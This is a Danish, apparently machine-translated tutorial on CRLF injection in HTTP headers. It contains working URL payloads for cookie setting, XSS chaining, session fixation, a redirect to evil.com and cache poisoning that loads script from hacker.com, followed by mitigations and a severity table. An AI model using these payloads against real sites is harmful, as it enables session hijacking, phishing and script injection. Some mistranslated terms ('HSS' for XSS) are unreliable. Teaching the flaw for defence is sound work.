CRLF er akronymet, der bruges til at henvise til vognretur (\r) Linjefeed (\n). Som man måske bemærker fra symbolerne i parenteserne, henviser “vognretur” til slutningen af en linje, og “Linjefeed” henviser til den nye linje. Derfor bruges både CR og LF til at betegne slutpunktet for en linje. Når en bruger anmoder om indhold på en hjemmeside, returnerer serveren hjemmesidens indhold sammen med HTTP-overskrifterne. Overskrifterne og indholdet adskilles af en defineret kombination af CR og LF. Det er på grund af CRLF, at en server ved, hvor en ny header begynder eller slutter. En Carriage Return Line Feed (CRLF) Injektionssårbarhed er en type Serversideinjektion, der opstår, når en angriber indsætter CRLF-tegnene i et inputfelt for at bedrage serveren ved at få den til at tro, at et objekt er afsluttet, og et nyt er begyndt. Dette sker, når internetapplikationen ikke desinficerer brugerinput til CRLF-tegn. Det har en medium sværhedsgrad (P3 ifølge Bugcourds VRT).
CRLF injektion angreb har to vigtigste use cases:
- Log opdeling: Angriberen indsætter en ende af linjetegn og en ekstra linje for at forfalske logfilposterne for at bedrage systemadministratorerne ved at skjule andre angreb.CRLF-injektion bruges til at tilføje HTTP-overskrifter til HTTP-svaret og for eksempel udføre et HSS-angreb, der fører til offentliggørelse af oplysninger.
eksempel:
en simpel GET-anmodning kan udformes som følger:
GET /%0d%0aSet-Cookie:CRLFInjection=PreritPathak HTTP/1.1
Bemærk: %0D og %0a er kodede former for henholdsvis \r og \n. Hvis internetapplikationen er sårbar, vil en hacker kunne sætte en cookie på hjemmesiden.
virkningerne af CRLF-injektion
CRLF-injektion giver angriberen mulighed for at indstille falske cookies, stjæle CSRF-tokens, afsløre brugeroplysninger ved at injicere et script (HSS) og udføre en række andre angreb. Det giver også angribere mulighed for at deaktivere &bypass sikkerhedsforanstaltninger som f.eks. filtre& same Origin Policy (SOP), hvilket gør dem modtagelige for følgende angreb:
1. Cross Site Scripting eller Cross Site Scripting er en sikkerhedssårbarhed, der gør det muligt for en hacker at injicere ondsindet JavaScript-kode i internetapplikationen. Følgende GET anmodninger er udformet i et forsøg kæde CRLF injektion med HSS.
ved at poppe en advarsel, der indeholder følsomme brugeroplysninger
www.target.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
Ved at deaktivere beskyttelse
www.target.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
2. Http-Responsopdeling giver en hacker mulighed for at indstille ondsindede cookies på offerets bro.ser. I de fleste tilfælde vil følgende GET-anmodning resultere i en 307-omdirigering, og offeret vil således blive omdirigeret til target.com & URL ‘ en indeholder ikke Set-Cookie-parameteren. I baggrunden vil cookien dog blive indstillet.
www.target.com/%0d%0aSet-Cookie:CRLFInjection=MaliciousCookieSet
3. Phishing angreb
En angriber kan indstille placeringen header, som ville omdirigere offeret til den onde hjemmeside. Denne hjemmeside kan udvikles til at ligne målet hjemmeside og når offeret indtaster deres legitimationsoplysninger, de vil blive sendt til angriberen. Placeringsoverskriften kan indstilles som:
GET /%0d%0aLocation:%20https://evil.com HTTP/1.1
4. Sessionfiksering
i lighed med Cookieinjektionsangrebet indstiller angriberen her en brugers sessions-id til en bestemt værdi. Dette link sendes til offeret, og når offeret logger ind ved hjælp af denne session, angriberen kan også logge ind ved hjælp af det samme sessions-id.
www.target.com/%0d%0aSet-Cookie:session_id=942....
5. HTTP Headerinjektion
En angriber kan udnytte CRLF-injektionen til at injicere HTTP-overskrifter i en applikation for at besejre sikkerhedsmekanismer som f.eks.
www.target.com/%0d%0aHackersHeader:NewHeader
CORS (Cross Origin Resource Sharing) aktiverende overskrifter kan injiceres& angriberen kan bruge JavaScript til at få adgang til følsomme ressourcer, der ellers er beskyttet af SOP (samme Oprindelsespolitik), som forhindrer sider fra forskellige oprindelser til at få adgang til hinanden.
6. Cache forgiftning er en teknik, som en angriber kan tjene forgiftet indhold ved at manipulere en cache på nettet. For at kunne udnytte dette problem skal en angriber forgifte den sårbare hjemmesides cachelagringsmægler, syndikatorer, indholdsleveringsnetværk (CDN ‘ er) eller andre cachelagringsmekanismer mellem klienten og serveren. Efter en vellykket cache-forgiftning har offeret ingen anelse om det ondsindede indhold, der serveres til dem af cachen. Nedenfor er et eksempel på, hvordan en angriber potentielt kunne udnytte en host header-injektion (ved hjælp af CRLF) ved at forgifte en cache.
For følgende anmodning:
$ telnet www.target.com 80Trying x.x.x.x...Connected to www.target.com.Escape character is '^]'.GET /%0d%0aX-Forwarded-Host:hacker.com HTTP/1.1 //or HostHost: target.com
der ville være følgende svar:
HTTP/1.1 200 OK
<
title
>Example</
title
>
<
script
src
=
"http://hacker.com/script.js"
>
diverse brugssager:
1. Indsprøjtning af en falsk HTTP-svaroverskrift:
Content-Length: 10
nu analyserer internetsøgeren kun de næste 10 bytes.
2 . Injektion af en falsk HTTP-svaroverskrift:
Content-Length: 0
dette behandles som et afsluttet svar& internetbrugerne begynder at analysere et nyt svar.
afbødninger:
en udvikler skal huske følgende ting for at forhindre CRLF-injektion:
- desinficering af brugerinput.
- Encode CR& LF-tegn (\r, \n), så selv når de leveres, genkendes de ikke af serveren.
- Valider brugerinput, før de når svaroverskrifterne (f.eks. ved hjælp af metoder som StringEscapeUtils.escapeJava ()).
- en unødvendig overskrift skal deaktiveres.
følgende tabel understreger sværhedsgraden af CRLF-injektion i henhold til forskellige industristandarder:
Classification | ID / Severity |
---|---|
OWASP 2017 | A1 |
CWE | 93 |
CVSS:3.0 | CVSS:3.0: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H |
Bugcrowd VRT | P3 |